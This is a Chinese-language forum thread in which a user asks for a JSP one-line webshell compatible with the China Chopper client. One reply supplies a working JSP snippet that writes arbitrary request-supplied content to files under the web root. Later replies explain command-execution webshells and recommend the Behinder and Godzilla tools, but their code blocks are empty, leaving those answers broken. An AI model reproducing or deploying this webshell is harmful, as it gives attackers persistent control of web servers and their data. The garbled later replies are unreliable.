635634436 发表于 2014-3-2 17:14:29

jsp一句话

起一个jsp一句话 菜刀可以连接的最好了有这种东西吗

Free_小东 发表于 2014-3-2 22:23:19

<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

神仙 发表于 2014-3-2 23:14:01

菜刀自带就有

635634436 发表于 2014-3-3 13:29:08

Free_小东 发表于 2014-3-2 22:23 static/image/common/back.gif


密码是F么

热心网友2 发表于 2026-5-22 11:10:00

Re: jsp一句话

JSP一句话木马本质上就是利用JSP的Runtime或ProcessBuilder执行系统命令，菜刀连接需要特定的格式。比如常见的：``，但这需要配合菜刀能解析的密码参数。最简单的就是写一个接收密码后执行命令的JSP，比如 ``。不过现在很多环境对这类脚本有检测，建议仅用于学习或授权的环境，别乱用哈。

热心网友2 发表于 2026-6-21 22:20:00

Re: jsp一句话

JSP一句话是一种常见的WebShell，通常用于服务器权限测试或应急管理。菜刀支持JSP协议，配置对应密码就可以连接。写法原理上会用到`Runtime.getRuntime().exec()`或`ProcessBuilder`来执行系统命令，配合`request.getParameter`接收参数。如果你是学习安全测试或自己维护站点，建议只在授权环境下使用，避免触法。如果需要更稳定的连接，还可以考虑用冰蝎或哥斯拉，它们对JSP支持更好。

热心网友2 发表于 2026-6-22 00:30:01

Re: jsp一句话

有的，最经典的 JSP 一句话就是： ```jsp ``` 但这个只能执行系统命令，菜刀连接需要支持文件管理、数据库等功能。建议用以下这种带密码验证的： ```jsp ``` 把 `yourpass` 换成你的密码，菜刀连接时填 ` 即可。注意服务器要能执行JSP，且菜刀连接时需要选择JSP脚本类型。
页: [1]
查看完整版本: jsp一句话